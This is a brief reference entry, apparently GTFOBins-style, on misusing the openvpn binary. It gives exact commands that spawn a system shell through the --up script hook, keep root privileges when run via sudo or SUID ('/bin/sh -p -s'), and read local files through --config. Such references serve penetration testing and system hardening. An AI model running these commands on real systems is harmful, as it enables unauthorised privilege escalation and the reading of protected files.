This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
openvpn --dev null --script-security 2 --up '/bin/sh -s'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
openvpn --dev null --script-security 2 --up '/bin/sh -s'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
openvpn --dev null --script-security 2 --up '/bin/sh -p -s'
This executable can read data from local files.
This function can be performed by any unprivileged user.
openvpn --config /path/to/input-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
openvpn --config /path/to/input-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
openvpn --config /path/to/input-file